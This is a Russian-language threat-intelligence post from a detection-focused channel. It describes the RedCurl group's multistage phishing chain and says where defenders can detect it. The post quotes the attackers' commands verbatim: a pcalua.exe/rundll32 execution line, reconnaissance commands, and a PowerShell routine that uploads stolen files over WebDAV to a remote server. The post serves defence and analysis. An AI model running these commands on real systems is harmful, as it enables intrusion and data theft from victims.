Detection is easy: “Всем привет! 👋 Группировка RedCurl сильно преисполнилась в применении…”

Всем привет! 👋

Группировка RedCurl сильно преисполнилась в применении multistage при фишинге.

Давайте посмотрим сколько шагов происходит до выполнения последнего этапа:

🔤 Приходит фишинговое письмо с PDF
🔤 Пользователь открывает PDF и кликает на ссылку, которая ведет на загрузку ZIP-архива
🔤 В ZIP-архиве IMG-файл, который монтируется
🔤 В образе диска находится уязвимый ADNotificationManager.exe, который переименован, как CV Applicant *.scr. SCR загружает netutils.dll - EarthKapre loader
🔤 Обращается на C2 и в ответ получает зашифрованную DLL, которая сохраняется в дирректорию C:\Users\User\AppData\Roaming\BrowserOSR\
🔤 Создается задача в планировщике в каталоге BrowserOSR, которая выполняет команду

 C:\Windows\system32\pcalua.exe -a rundll32 -c shell32.dll,Control_RunDLL C:\Users\User\AppData\Roaming\BrowserOSR\BrowserOSR.dll c7ccd991-41e1-45ab-b0de-b1d229bba429

Опытный аналитик обратит внимание на использование pcalua.exe -a - LOLBINS утилита, позволяет создавать новые процессы.
🔤 После выполнения задачи, происходит проверка наличия дебагера, если он есть, то процесс прекращается. На C2 отправляется информация об имени пользователя, имени компьютера, файлах и каталогах с рабочего стола жертвы, и из папок Local, AppData и Program Files.
🔤 Загружается еще один этап и сохраняется в файл с расширением tmp, который выполняется функцией LoadLibraryA
🔤 Создается bat-файл %APPDATA%\Acquisition\JKLYjn2.bat, который выполняет команды для сбора информации о системе и отправке их на C2

net localgroup

net localgroup Administrators

systeminfo

wmic logicaldisk get description,name,Size,FreeSpace

wmic process get Name,Commandline powershell -c "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | Out-File -FilePath .\temp7237\<COMPROMISED_COMPUTER_NAME>_AV.txt"

ad.exe -accepteula -snapshot "" temp7237\dmn.dat

powershell -c "gci .*.exe | foreach {if(($.VersionInfo).InternalName -eq '7za'){$syspack = $.Fullname}};$a1='x';$a2='-aoa';$a3='-p'+$env:ppass2;$a4=$env:util;$a5='-o'+$env:tdir;&$syspack $a1 $a2 $a3 $a4 $a5;"

powershell -c "$PSW01 = New-Object -ComObject MSXML2.ServerXMLHTTP;$AFS = New-Object -ComObject ADODB.Stream;$AFS.Open();$AFS.Type = 1;Get-ChildItem .$env:trdir | Where-Object {$.PSIsContainer -eq $false;} | foreach {$AFS.LoadFromFile($.FullName);$AFB = $AFS.Read();$PSW01.Open('PUT', $env:davstr+'/'+$env:davfld+'/'+$_.Name, $False, $env:slog, $env:spass);$PSW01.Send($AFB);};$PSW01.Close;"

Описал основные шаги из отчета, там происходит еще большое количество этапов шифрования/расшифрования, проверок на песочницу и тп ...

Готовы к такой матрешке?) 😔

Идеальное место для обнаружения - это дроп на хост образа диска (img), его монтирование и запуск оттуда исполняемого файла. Если этот этап пропустили, то должны обнаружить создание задачи с аргументами pcalua.exe -a rundll32
Если это тоже мимо, то хоть одну команду из bat-файла 🙏

#ttp@detectioneasy